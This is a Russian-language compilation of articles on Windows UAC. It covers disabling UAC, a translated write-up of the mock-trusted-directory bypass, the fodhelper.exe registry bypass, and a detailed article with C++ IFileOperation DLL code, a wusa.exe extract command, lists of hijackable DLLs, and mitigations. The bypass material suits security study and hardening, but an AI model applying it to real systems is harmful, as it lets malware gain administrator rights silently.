Все способы:
- Способ 1: Редактор локальных политик
- Способ 2: Редактирование реестра
- Способ 3: Использование «Командной строки»
- Способ 4: Учетная запись Администратора
- Способ 5: Удаление цифровой подписи программы
- Вопросы и ответы: 0
Способ 1: Редактор локальных политик
Основной причиной блокировки приложения функцией контроля учетных записей является поврежденная, поддельная или запрещенная настройками безопасности Windows цифровая подпись исполняемого файла. Пользователи Windows 10 Pro и выше, уверенные в надежности запускаемого программного обеспечения, могут отключить блокировку UAC в «Редакторе локальной групповой политики».
- Откройте окошко быстрого запуска нажатием клавиш Win + R, введите в него команду gpedit.msc и нажмите клавишу ввода, чтобы запустить «Редактор локальных групповых политик».
- В окне редактора перейдите к настройке «Конфигурация компьютера» → «Конфигурация Windows» → «Параметры безопасности» → «Локальные политики» → «Параметры безопасности». Справа найдите политику «Контроль учетных записей: все администраторы работают в режиме одобрения администратором» и откройте ее настройки двойным кликом.
- Отключите политику, сохраните настройки и перезагрузите компьютер.
Способ 2: Редактирование реестра
Пользователи Windows 10 Home могут отключить функцию блокировки путем применения несложного твика реестра.
- Запустите «Редактор реестра», выполнив команду
regedit
в окошке быстрого запуска. - Разверните ветку
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
, найдите справа параметр «EnableLUA» и кликните по нему дважды, чтобы открыть окошко редактирования. - Измените значение параметра с «1» на «0», закройте «Редактор реестра» и перезагрузите компьютер.
Результат будет тот же, что и в случае изменения политики, указанной в Способе 1.
Примечание: отключение функции блокировки недоверенных приложений понижает общий уровень защиты системы, поэтому после выполнения действий с исполняемым файлом исходные настройки желательно восстановить.
Способ 3: Использование «Командной строки»
Запустить блокируемую контролем учетных записей программы можно и без отключения функции блокировки. Этот способ считается наиболее безопасным, так как не предусматривает глобальное изменение настроек безопасности.
- Запустите классическую «Командную строку» от имени администратора из поиска Windows.
- Введите в консоли полный путь к исполняемому файлу блокируемой UAC программы и нажмите клавишу ввода. Если путь содержит пробелы или кириллицу, заключите его в двойные прямые кавычки.
Программа должна запуститься в обход блокировки контроля учетных записей. Не закрывайте окно консоли, пока не закончите работу с программой или ее установщиком (если выполняете установку).
Способ 4: Учетная запись Администратора
Для обхода ограничений контроля учетных записей также можно использовать встроенную учетную запись Администратора, обладающую более высокими привилегиями, чем обычный администратор. Чтобы ее активировать, выполните в запущенной с повышенными правами «Командной строке» или консоли «PowerShell» команду user Администратор /active:yes
.
Выйдите из текущей учетной записи, войдите в активированную запись Администратора и выполните нужные действия с программой.
Способ 5: Удаление цифровой подписи программы
Если перечисленные выше способы обхода блокировки исполняемых файлов можно назвать традиционными, то этот способ является альтернативным. Заключается он в удалении цифровой подписи блокируемого исполняемого файла специальной утилитой File Unsigner.
Скачать File Unsigner с официального сайта
- Скачайте архив с утилитой File Unsigner с сайта разработчика и распакуйте для удобства в ту же папку, где находится EXE-файл программы, которую необходимо разблокировать.
- Перетащите этот EXE-файл на исполняемый файл утилиты File Unsigner. При этом должно открыться окно «Командной строки», в котором будет указан статус операции. Сообщение «Successfully unsigned имя файла» означает, что цифровая подпись успешно удалена. Как вариант, можно запустить «Командную строку» от имени администратора, сформировать и выполнить в ней команду следующего вида:
путь_к_файлу_fileunsigner.exe /f путь_к_файлу_программы.exe
.
После удаления цифровой подписи программа должна запуститься в штатном режиме. Однако нельзя исключать, что при запуске исполняемого файла программы появится окно фильтра SmartScreen, в котором необходимо будет подтвердить открытие неподписанного приложения.
Наша группа в TelegramПолезные советы и помощь
Время на прочтение5 мин
Количество просмотров22K
Эксперт по информационной безопасности Дэвид Уэллс (David Wells) опубликовал способ обхода контроля учетных записей UAC в Windows 10
Всем привет!
Во время исследований некоторых новых методов обхода службы контроля учетных записей (UAC) я открыл совершенно новый метод обхода UAC на момент написания этой статьи. Стоит отметить, что Microsoft не считает UAC границей безопасности, однако мы до сих пор сообщаем о разных багах в Microsoft и я хочу поделиться подробностями найденной мной уязвимости тут. Этот метод был успешно протестирован на ОС Windows 10 Build 17134. До того, как я погружусь в подробности моей находки, я сначала представлю Вам небольшое пояснение по работе самой службы UAC.
UAC Primer
Когда пользователь, входящий в группу «Администраторы», хочет запустить приложение, требующее повышенных привилегий, то UAC отображает соответствующий запрос и пользователю, являющемуся членом группы «Администраторы», потребуется подтвердить действие Однако, этот запрос UAC не возникает для ВСЕХ административно исполняемых файлов в Windows. Есть несколько исключений, которые будут «автоматически» повышать привилегии исполняемого файла, не вызывая запроса UAC, в обход UAC (к большому удивлению!). Эта отдельная группа избранных надежных исполняемых файлов проходит дополнительные проверки безопасности системой, чтобы убедиться, что на самом деле эти файлы достоверны, поэтому информационные злоумышленники обычно не злоупотребляют данной функцией. Этот подход использовался в предыдущих методах обхода UAС и будет основой моего нового метода обхода. Однако, есть несколько лазеек, которые нам нужно воспользоваться, чтобы наша атака удалась. Давайте рассмотрим требования, которые должны соблюдаться, если мы хотим, чтобы наш исполняемый файл был «автоматически повышен в привилегиях». Для этого я покажу несколько картинок дисассемблируемой библиотеки appinfo.dll (служба AIS, обрабатывающая запросы на повышение привилегии — один из основных компонентов UAC).
Требование 1: Файл сконфигурирован для автоматического повышения привилегий
Когда возникает запрос на повышение привилегий для программы, то в службе AIS (appinfo.dll) выполняется вызов RPC с целевым исполняемым путем, переданным в качестве аргумента. Затем эта служба будет сопоставлять целевое исполняемое содержимое файла для чтения. В манифесте исполняемого файла делается попытка прочитать значение для получения ключа «autoElevate» (если он существует).
Рисунок 1 – Чтение манифеста исполняемого файла для получения значения ключа «autoElevate».
Если значение получено и это «Истина», то файл будет считаться как с «автоматическими» повышаемыми привилегиями исполняемым файлом, который будет запускаться с повышением привилегий и не вызывать диалоговое окно службы UAC (при условии, что оно передало следующие требования, упомянутые ниже).
Рисунок 2 — вызов «bsearch» для проверки имени исполняемого файла в списке исполняемых файлов «auto elevating»
Некоторые из этих жестко запрограммированных в системе файлов в белом списке:
‘cttunesvr.exe’, ‘inetmgr.exe’, ‘migsetup.exe’, ‘mmc.exe’, ‘oobe.exe’, ‘pkgmgr.exe’, ‘provisionshare.exe’, ‘provisionstorage.exe’, ‘spinstall.exe’, ‘winsat.exe’
Требование 2: Правильно подписанные
Предполагается, что второе условие для «автоматического» повышения привилегии после отправки запроса в UAC, это выполнение проверки подписи с помощью «wintrust! WTGetSignatureInfo».
Это означает, что злоумышленник не сможет просто создать свой собственный нужный для «автоматического» повышения привилегий манифест или исполняемый файл и добиться успеха, поскольку бинарный файл злоумышленника, скорее всего, будет неправильно подписан, и, вероятно, также не будет выполняться последнее требование — исполнение из надежного каталога\директории.
Требование 3: Исполнение из надежного каталога\директории
Последнее требование для получения «автоматического» повышения привилегий заключается в том, что целевой исполняемый файл находится в «доверенном каталоге», например «C: \ Windows\System32». На Рисунке 3 показано, что служба AIS выполняет эту проверку пути с запросом на повышение, в этом случае одним из путей, считающихся «доверенным», является «C:\Windows\System32».
Рисунок 3
Название этой статьи «Обход контроля учетных записей (UAC) путем пародирования доверенных директорий», поэтому Вы, вероятно, сможете легко догадаться, что будет дальше.
Обход UAC
Как упоминалось ранее в разделе UAC Primer, автопривилегированность (обход UAC) будет выполняться для исполняемых файлов, которые:
- Сконфигурированы для получения «автоматического» повышения привилегий
- Правильно подписаны
- Запускаются из надежного каталога («C:\Windows\System32»)
Appinfo.dll (AIS) использует API RtlPrefixUnicodeString, чтобы проверить, соответствует ли исполняемый путь файла с «C:\Windows\System32\» для проверки одного из доверенных каталогов. Это довольно железобетонная проверка, учитывая ее сравнение с каноническим местом расположения файла.
Поэтому, для организации обхода этой проверки я создаю каталог под названием «C:\Windows \» (обратите внимание на пробел после «Windows»). Конечно, с помощью этого действия все еще нельзя пройти проверку RtlPrefixUnicodeString, и я также упомяну, что это несколько недопустимое (или, по крайней мере, «недружелюбное») имя каталога, поскольку Windows не разрешает ставить пробелы в конце имени при создании каталога (попробуйте).
Однако, используя API CreateDirectory и добавив «\\? \» к имени каталога, которое я хочу создать, мы можем обойти некоторые из этих правил фильтрации имен и отправить запрос на создание каталога непосредственно в файловую систему.
Это приводит к созданию неудобного каталога, который счастливо сосуществует в файловой системе наряду с реальным «C:\Windows\» (за исключением тех случаев, когда Вы пытаетесь что-либо сделать с ним в Проводнике Windows).
Теперь, когда у нас есть каталог «C: \Windows \», мы можем создать в нем каталог «System32» и скопировать туда один из подписанных, исполняемых файлов (у которого разрешено системой «автоматическое» повышение привилегий) из реального каталога «C:\Windows\System32».
Для этого я скопировал «winSAT.exe» (один из файлов в белом списков исполняемых файлов Windows с разрешённом системой возможности «автоматического» повышения привилегий).
Когда мы попытаемся запустить этот файл из нашего нового каталога «C:\Windows \System32\ winSAT.exe», он будет проходить через следующие API (см. Рис. 6) в appinfo.dll перед выполнением проверки доверенного каталога. Это важно, и основа того, почему этот обход работает.
Рисунок 6
Когда этот неудобный путь с пробелом отправляется в AIS для запроса на повышение привилегий, путь передается в GetLongPathNameW, который преобразует его обратно в «C:\Windows\System32\winSAT.exe» (пробел удален).
Отлично!
Теперь это строка, в которой прошла проверка достоверного каталога (используя RtlPrefixUnicodeString) для остальной части проверки.
Красота моего решения заключается в том, что после проверки доверенного каталога выполняется этот преобразованный путь, который потом освобождается, а остальные проверки (и окончательный запрос на повышение привилегий) выполняются с оригинальным названием исполняемого каталога (с дополнительным пробелом).
Это позволяет пройти все другие проверки и приводит к тому, что appinfo.dll принимает мою копию winSAT.exe как с «автоматическим» повышением привилегий (так как она правильно подписана и добавлена в белый список для «автоматического» повышения привилегий).
Чтобы на самом деле использовать вредоносный код, я просто скопировал поддельную WINMM.dll (импортированную winSAT.exe) в своем текущем каталоге «C:\Windows \System32\» для подмены локальной dll. Полную концепцию можно увидеть на рисунке ниже.
Рисунок 7.
→ Ссылка на Github
У авторов вредоносных программ появилась новая технология обхода UAC (диспетчера учетных записей), которую они могут использовать для установки вредоносных приложений на устройства под управлением Windows 10. Открыл этот метод немецкий студент, известный под именем Кристиан Б., который в настоящее время пишет дипломную работу в магистратуре на тему методов обхода UAC. Техника, которую он придумал, — это вариация другого метода обхода Windows 10 UAC, обнаруженного исследователем безопасности Мэттом Нельсоном в августе 2016 года.
В то время как метод Нельсона использовал встроенную утилиту Event Viewer (eventvwr.exe), обход UAC Кристиана использует файл fodhelper.exe, расположенный по адресу C:\Windows\System32\fodhelper.exe
Если имя этого файла вам неизвестно — это окно, которое открывается при нажатии кнопки «Управление дополнительными функциями» на экране «Параметры и настройки» окна «Приложения и функции».
Оба метода работают одинаково и используют то, что называется «авто-возвышение (auto-elevation)». Оно представляет собой состояние, которое Microsoft назначает доверенным двоичным файлам (файлы, подписанные сертификатом Microsoft и расположенные в надежных местах, таких как C:\Windows\System32).
Так же, как eventvwr.exe, fodhelper.exe является доверенным бинарником, то есть Windows 10 не отображает окно UAC при его запуске и запуске дочерних процессов.
Обход UAC позволяет перехватывать резервные копии ключей реестра
Кристиан обнаружил, что во время выполнения двоичного файла fodhelper.exe Windows 10 проверяет два раздела реестра для выполнения дополнительных команд при запуске файла.
Редактированием значений одного из этих ключей реестра исследователь мог передавать пользовательские команды, которые выполнялись в повышенном контексте файла fodhelper.exe. Ключ реестра: HKCU:\Software\Classes\ms-settings\shell\open\command\(default)
Эта технология может быть использована, если вредоносное ПО закрепилось на компьютере пользователя. Вредоносная программа, используя сценарии для редактирования определенного раздела реестра, может запускать файл fodhelper.exe, который затем будет читать вредоносные команды, передаваемые в разделе реестра, и выполнять их за спиной пользователя. Так как файл fodhelper.exe является надежным двоичным файлом Windows 10, предупреждения UAC не последует.
Исследователь выпустил proof-of-concept на GitHub. Его метод не удаляет файлы с диска, исполняется только в памяти компьютера и не взламывает никаких DLL.
Как этого избежать?
Кристиан считает, что обход не является универсальным, поскольку пользователи должны быть частью группы администраторов операционной системы. Звучит как огромное ограничение, но на самом деле большинство пользователей Windows использует учетную запись администратора для управления своими ПК.
Чтобы предотвратить использование вредоносной программой этого метода обхода UAC, исследователь безопасности рекомендует пользователям прекратить использование учетных записей администратора по умолчанию и установить уровень UAC на «Всегда уведомлять», чтобы быть в безопасности.
И это на самом деле полезно. В отчете, опубликованном Avecto в феврале 2017 года, сообщается, что без права администратора пользователь смог бы избежать всех ошибок безопасности, обнаруженных в 2016 году в IE, Edge и Office.
Обход контроля учетных записей (UAC) в Windows
Оглавление
- Введение
- Обход UAC
- Запись в безопасное место
- IFileOperation COM Object
- Windows Update Standalone Installer
- Эксплуатация уязвимости DLL hijacking
- Смягчение
- Контроль учетных записей: запуск всех администраторов в режиме одобрения администратором.
- Заключение
- Ссылки
Введение
Защита компьютеров от злоупотреблений в корпоративной среде всегда была непрерывным процессом. Предоставление прав администратора пользователям всегда злоупотреблялось и пользователи устанавливали неутвержденное программное обеспечение, изменяли конфигурации и тд. Не предоставляй права локального администратора и они утверждают, что не могут выполнять свою работу. Если малварь скомпрометировала машину с полными правами администратора, то вы, скорее всего, попытаетесь переоборудовать ее.
Контроль учетных записей (UAC) дает нам возможность работать со стандартными правами пользователя вместо полных прав администратора. Таким образом, даже если ваша стандартная учетная запись находится в группе локальных администраторов, ущерб ограничен. То есть установка служб, драйверов, запись в безопасные места и тд запрещены. Для выполнения этих действий пользователям потребуется взаимодействовать с рабочим столом, например, щелкнув правой кнопкой мыши и запустив их с правами администратора, или принять запрос на повышение прав от UAC. UAC был представлен начиная с Windows Vista и содержит ряд технологий включая виртуализацию файловой системы и реестра, учетную запись защищенного администратора (PA или Protected Administrator), запросы на повышение прав UAC и уровни целостности Windows.
UAC работает регулируя уровень разрешений нашей учетной записи, поэтому действия программ выполняются из под обычного пользователя, даже если у нас есть права локального администратора на компьютере. Когда будут внесены изменения требующие разрешения на уровне администратора, UAC уведомит нас. Если у нас есть права локального администратора, мы можем нажать «Да», чтобы продолжить, в противном случае нам будет предложено ввести пароль администратора. Однако это будет зависеть от того, какие политики были определены в вашей среде.
В этой статье показано, как легко можно обойти запросы на повышение прав UAC и какие действия можно предпринять для уменьшения этой угрозы.
Обход UAC
Эксплуатация UAC является тривиальным процессом. Есть два этапа которые необходимо пройти для достижения обхода, чтобы подняться от стандартных прав пользователя до прав администратора. Эти шаги широко опубликованы, так что в этом нет ничего нового, хотя на этапе 2 документированы еще некоторые уязвимости связанные с захватом (hijacking) DLL.
Запиcь в безопасное место
Эксплуатация DLL hijacking уязвимости
Для того чтобы наш обход был успешным, мы должны начать с:
Стандартный пользователь в группе администраторов
Исполняемый файл Windows который должен быть подписан сертификатом подписи кода Microsoft
Исполняемый файл Windows должен находиться в безопасном каталоге
Исполняемый файл Windows также должен указывать свойство автоматического поднятия прав (Elevate) в своем манифесте.
Запись в безопасное место
Есть несколько способов, которыми мы можем записать файл в безопасное место.
Использовать IFileOperation COM Object
Использование автономного установщика Центра обновления Windows (Windows Update Standalone Installer/wusa.exe)
COM Object в IFileOperation имеет метод, который мы можем использовать для копирования файлов в наше безопасное место, так как операция автоматически поднимется в правах и сможет сделать копию привилегий. Для использования мы можем внедрить нашу вредоносную DLL в процесс средней целостности для выполнения операции. Поскольку для COM-объекта установлено автоматическое повышение уровня, внедренный процесс не нужно отмечать для автоматического повышения в своем манифесте.
В Windows 7 внедрены процессы которые могут быть успешно скопированы, это:
C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\taskhost.exe
Во время тестов taskhost.exe срабатывает только один раз после загрузки, и wuauclt.exe не всегда работает, что оставляет только explorer.exe надежным процессом.
On Windows 8 внедрены процессы которые успешно скопированы, это:
C:\Windows\explorer.exe
C:\Windows\System32\wuauclt.exe
C:\Windows\System32\RuntimeBroker.exe
И снова только explorer.exe надежный процесс, и единственный который работал в Windows 8.1
Основная часть кода ниже взята из MSDN с некоторыми незначительными изменениями. Используемые значения SetOperationFlags были взяты из опубликованного кода обхода UAC здесь.
#include <stdio.h>
#include <Shobjidl.h>
#include <Windows.h>
#pragma comment(lib, "Ole32.lib")
#pragma comment(lib, "shell32.lib")
int WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
FileOperation *pfo;
IShellItem *psiFrom = NULL;
IShellItem *psiTo = NULL;
LPCWSTR pszSrcItem = L"calc.dll";
LPCWSTR pszNewName = L"cryptbase.dll";
LPCWSTR pszDest = L"C:\\windows\\System32\\sysprep";
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
if (SUCCEEDED(hr))
{
hr = CoCreateInstance(CLSID_FileOperation, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pfo));
if (SUCCEEDED(hr))
{
hr = pfo->SetOperationFlags( FOF_NOCONFIRMATION |
FOF_SILENT |
FOFX_SHOWELEVATIONPROMPT |
FOFX_NOCOPYHOOKS |
FOFX_REQUIREELEVATION |
FOF_NOERRORUI );
if (SUCCEEDED(hr))
{
hr = SHCreateItemFromParsingName(pszSrcItem, NULL, IID_PPV_ARGS(&psiFrom));
if (SUCCEEDED(hr))
{
if (NULL != pszDest)
{
hr = SHCreateItemFromParsingName(pszDest, NULL, IID_PPV_ARGS(&psiTo));
}
if (SUCCEEDED(hr))
{
hr = pfo->CopyItem(psiFrom, psiTo, pszNewName, NULL);
if (NULL != psiTo)
{
psiTo->Release();
}
}
psiFrom->Release();
}
if (SUCCEEDED(hr))
{
hr = pfo->PerformOperations();
}
}
pfo->Release();
}
CoUninitialize();
}
return 0;
}
Windows Update Standalone Installer
Другой способ копирования в наше безопасное место, это использовать Windows Update Standalone Installer (wusa.exe). Wusa.exe запускается как процесс высокой целостности тк. настроен на авто-подъём прав в своем манифесте. Для автоматического повышения прав, исполняемый Windows файл должен быть подписан, находиться в безопасном каталоге, таком как C:\Windows\System32, и должен быть с правильно прописанным свойством autoElevate в своем манифесте.
Мы используем wusa.exe для распаковки CAB файл (cabinet archive file или файл кабинетного архива) в наше безопасное место
wusa c:\users\user1\desktop\poc.tmp /extract:c:\windows\system32\sysprep
Эксплуатация уязвимости DLL hijacking
При эксплуатации уязвимости перехвата DLL, исполняемый файл который мы собираемся запустить снова должен быть подписан; находится в безопасном каталоге; и должен указывать свойство autoElevate в своем манифесте для загрузки в качестве процесса с высокой степенью целостности.
В Windows 7 есть три исполняемых файла которые можно эксплуатировать и связанные с ними библиотеки DLL перечисленны ниже:
C:\windows\ehome\Mcx2Prov.exe
C:\Windows\ehome\CRYPTBASE.dll
C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\sysprep\CRYPTSP.dll
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\sysprep\RpcRtRemote.dll
C:\Windows\System32\sysprep\UxTheme.dll
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
На malwr.com вредоносная программа выложенная 25 Июня прошлого года, уже использовала Mcx2Prov.exe для обхода UAC, а днем позже эксплойт был опубликован.
Тот же хэш был также отмечен на VirusTotal (38/54), был представлен более четырех месяцев назад.
В Windows 8 также есть три исполняемых файла которые можно эксплуатировать и связанные с ними библиотеки DLL перечислены ниже:
C:\windows\System32\sysprep\sysprep.exe
C:\windows\System32\sysprep\CRYPTBASE.dll
C:\Windows\System32\Sysprep\dwmapi.dll
C:\Windows\System32\Sysprep\SHCORE.dll
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Windows\System32\UReFS.DLL
Наконец, в Windows 8.1 есть также три исполняемых файла которые можно эксплуатировать и связанные с ними библиотеки DLL перечисленны ниже:
C:\windows\System32\sysprep\sysprep.exe
C:\Windows\System32\Sysprep\SHCORE.dll
C:\Windows\System32\Sysprep\OLEACC.DLL
C:\windows\System32\cliconfg.exe
C:\Windows\System32\NTWDBLIB.DLL
C:\windows\System32\pwcreator.exe
C:\Windows\System32\vds.exe
C:\Program Files\Common Files\microsoft shared\ink\CRYPTBASE.dll
C:\Program Files\Common Files\microsoft shared\ink\CRYPTSP.dll
C:\Program Files\Common Files\microsoft shared\ink\dwmapi.dll
C:\Program Files\Common Files\microsoft shared\ink\USERENV.dll
C:\Program Files\Common Files\microsoft shared\ink\OLEACC.dll
Вызов исполняемого файла pwcreator.exe (создание рабочей области Windows To Go) вызывает vds.exe (служба виртуальных дисков), которая затем загружает нашу DLL и даёт нам целостность системы работает из под SYSTEM аккаунта.
Вызов этих исполняемых файлов sysprep.exe, cliconfg.exe и pwcreater.exe приводит к появлению окна с графическим интерфейсом, но так же должен легко запуститься в фоновом режиме, а затем завершиться после эксплуатации. Это то что я не изучал слишком глубоко, поэтому тут я вас оставлю в неведении.
Смягчение
Лучший способ смягчить этот обход — просто не предоставлять пользователям права локального администратора для своих компьютеров. Большинство учетных записей пользователей в корпоративной среде и вы должны быть в состоянии сделать это, уменьшая поверхность атаки. Это, однако, не распространяется на домашних пользователей, которые по умолчанию имеют права локального администратора.
Фактически, обход работает только при двух средних выставленных настройках UAC, которые позволяют автоматически подниматься. Чтобы увидеть настройки вам нужно перейти в Панель управления — Учетные записи пользователей — Изменить настройки контроля учетных записей.
Уведомлять меня только когда приложения пытаются внести изменения в мой компьютер (по умолчанию)
Таким образом, мы могли бы установить “Всегда уведомлять”, но это вернуло бы его к тому, как это было в Windows Vista с постоянными уведомлениями и не очень практично, так же пользователь в конечном итоге установит его на “Никогда не уведомлять”, что определенно не является хорошей идеей.
Microsoft предоставила нам 10 политик UAC с которыми стоит поиграть, поэтому стоит потратить некоторое время на их понимание и тестирование прежде чем внедрять их в среде своего домена. Чтобы увидеть, что применено на вашем локальном компьютере, введите secpol.msc в Start-Run, чтобы открыть окно «Локальная политика безопасности» и развернуть папку «Параметры локальной политики безопасности». Запустите rsop.msc для просмотра групповых политик, применяемых на компьютерах в доменной среде.
Вот так выглядят в реестре значения UAC по умолчанию
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System]
"ConsentPromptBehaviorAdmin"=dword:00000005
"ConsentPromptBehaviorUser"=dword:00000003
"EnableInstallerDetection"=dword:00000001
"EnableLUA"=dword:00000001
"EnableSecureUIAPaths"=dword:00000001
"EnableUIADesktopToggle"=dword:00000000
"EnableVirtualization"=dword:00000001
"FilterAdministratorToken"=dword:00000000
"PromptOnSecureDesktop"=dword:00000001
"ValidateAdminCodeSignatures"=dword:00000000
Когда ползунок перемещается вверх до «Всегда уведомлять меня», он меняет это значение.
"ConsentPromptBehaviorAdmin"=dword:00000002
Когда ползунок перемещается вниз до «Уведомлять меня только когда приложения пытаются внести изменения в мой компьютер (не изменяя настройки рабочего стола)», он меняет это значение.
"PromptOnSecureDesktop"=dword:00000000
Ну и когда ползунок перемещается в «Никогда не уведомлять», измененные значения это
"ConsentPromptBehaviorAdmin"=dword:00000000
"EnableLUA"=dword:00000000
"PromptOnSecureDesktop"=dword:00000000
Обратите внимание, что EnableLUA полностью отключен. Это чрезвычайно опасное значение, и его никогда не следует отключать, поэтому настоятельно рекомендуется включить эти параметры в групповых политиках чтобы они всегда применялись, если параметры сбрасываются/изменяются пользователями или ранее удаленными вредоносными программами.
Контроль учетных записей: запуск всех администраторов в режиме одобрения администратором.
После отключения, не только вредоносный процесс сможет переходить прямо в режим высокой целостности, но и Internet Explorer будет работать в режиме средней целостности. UAC предоставляет нам защищенный режим (песочницу) в Internet Explorer, обеспечивая дополнительную безопасность. Обычно Internet Explorer работает в процессе с низким уровнем целостности, поэтому если он скомпрометирован каким-либо эксплойтом IE то ущерб сводится к минимуму, так как при низкой целостности существует только несколько мест в которые он может быть записан в системе.
Эти изменения, упомянутые выше, были замечены в Windows 7, в Windows 8/8.1 EnableLUA не изменяется на отключенный. Поэтому, когда ползунок перемещен в «Никогда не уведомлять», измененные значения приобретают только такой вид
"ConsentPromptBehaviorAdmin"=dword:00000000
"PromptOnSecureDesktop"=dword:00000000
Поскольку значение “EnableLUA”=dword:00000001 не изменяется, UAC не полностью отключен и Internet Explorer по-прежнему будет работать с низким уровнем целостности.
Однако, если пользователь вошел в систему с учетной записью локального администратора (администратором, или любым другим переименованным в вашей корпоративной сборке властителем), настройки UAC не применяются, поскольку все процессы работают с высокой степенью целостности. Это относится к Windows 7/8 и 8.1, поэтому всегда следите за тем чтобы пользователи НЕ входили в систему с использованием учетной записи локального администратора, если требуются права локального администратора, лучше добавьте свою учетную запись домена в группу локальных администраторов.
Если по какой-либо причине необходимо войти в систему с использованием учетной записи локального администратора, лучше всего включить эту политику UAC.
Контроль учетных записей (UAC): режим одобрения администратором (Admin Approval Mode) для встроенной учетной записи администратора
“FilterAdministratorToken”=dword:00000001
Другой вариант — это переименование или удаление исполняемых файлов Mcx2Prov.exe, sysprep.exe, cliconfg.exe и pwcreator.exe, если это не требуется в системе, чтобы второй этап эксплуатации DLL hijacking провалился.
Наконец, если пользователям требуются права локального администратора тогда стоит установить политику UAC своего компьютера на «Всегда уведомлять» и позволить им жить с постоянными уведомлениями.
Контроль учетных записей (UAC): поведение запроса на повышение прав для администраторов в режиме одобрения администратором (Admin Approval Mode), 2-й запрос согласия на защищенный десктоп
Заключение
Этот обход работает только в случае когда удовлетворятся все требования для их эксплоинга. Не достаёт одного требования и обход не удастся. Офисные документы открываются в средней целостности, поэтому они являются идеальными целями для обхода UAC. Поскольку эти обходы осуществляются без особых усилий, единственным реальным способом противо-действий было бы установить для UAC «Всегда уведомлять» или удалить права локального администратора для пользователя. В конце концов, использование таких агентов как Microsoft EMET или MalwareBytes Anti-Exploit, было бы наилучшим решением для смягчения урона на ранних стадиях проведения атаки.
Ссылки
http://technet.microsoft.com/en-us/magazine/2009.07.uac.aspx
http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx
http://windows.microsoft.com/en-gb/windows/what-is-user-account-control#1TC=windows-7
http://windows.microsoft.com/en-gb/windows/what-are-user-account-control-settings#1TC=windows-7
http://blog.cobaltstrike.com/2014/03/20/user-account-control-what-penetration-testers-should-know
1 звезда
2 звезды
3 звезды
4 звезды
5 звезд
В Windows при запуске некоторых системных функций появляется UAC — User Account Control, он же Контроль учетных записей. Если вам мешает эта опция, вы можете ее деактивировать. Рассказываем, как это сделать.
Как отключить UAC в Windows 10
Контроль учетных записей пользователей (UAC) играет в Windows 10 важную роль: запросы на подтверждение действий не позволяют программам самостоятельно вносить изменения в систему. Это повышает безопасность, но иногда может мешать. Если вы не хотите видеть уведомления этой функции, выполните следующие действия:
- Нажмите комбинацию клавиш Win+X и выберите пункт «Система».
- В поле ввода данных в левом верхнем углу введите «Контроль учетных записей пользователей» или «UAC».
- В новом окне установите ползунок на самый нижний уровень, чтобы полностью отключить уведомления.
- Затем сохраните настройки, нажав на «OK».
Важно: не рекомендуется отключать этот параметр, так как такое действие представляет угрозу безопасности для вашего компьютера. Поэтому отключать Контроль учетных записей пользователей можно только при необходимости и на время.
Альтернатива: отключаем UAC через реестр Windows
В качестве альтернативы можно просто полностью отключить контроль учетных записей пользователей, изменив запись Реестра:
- С помощью сочетания клавиш [Windows]+ [R] откройте диалоговое окно «Выполнить».
- Введите команду «regedit» и нажмите на «ОК».
- Затем перейдите по пути: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft \ Windows \ CurrentVersion\Policies\System. Вы можете просто скопировать путь в адресную строку Редактора реестра с помощью сочетаний клавиш Ctrl+С и Ctrl+V
- Дважды щелкните по записи EnableLUA и установите значение «0». Подтвердите, нажав на «OK».
- Закройте редактор реестра и затем перезагрузите компьютер. Если вы хотите отменить изменение, поменяйте значение обратно на «1».
Как обойти UAC с помощью Планировщика заданий
К сожалению, Контроль учетных записей пользователей невозможно отключить для отдельных программ. Но есть один лайфхак: запрос при запуске программ можно обойти с помощью Планировщика заданий Windows 10. Это получится сделать даже через ярлык:
- Нажмите комбинацию клавиш Win+R и в новом окне выполните команду taskschd.msc.
- В правой части Планировщика заданий нажмите кнопку «Создать задание…».
- В новом окне в разделе «Общие» введите имя задания.
- Установите флажок около «Выполнить с самыми высокими привилегиями». Благодаря этой функции Контроль учетных записей пользователей позже больше не будет отображаться.
- Перейдите на вкладку «Действия» и нажмите «Новый…». Оставьте без изменений действие «Запустить программу» и в поле «Программа/скрипт» введите полный путь к приложению, которое вы хотите запустить. Подтвердите нажатием на «OK».
- Щелкните правой кнопкой мыши по рабочему столу Windows и выберите «Создать» в контекстном меню, а затем «Ярлык».
- Введите в качестве местоположения C:\Windows\System32\schtasks.exe /run / TN «задание». Замените «Задание» именем той задачи, которую вы создали ранее. Подтвердите с помощью кнопки «Далее».
- Затем введите имя ярлыка и нажмите «Готово».
Читайте также:
- Как восстановить удаленные файлы на Windows-компьютере=«content_internal_link»>
- Как оплачивать покупки в интернете безопасно =«content_internal_link»>
Была ли статья интересна?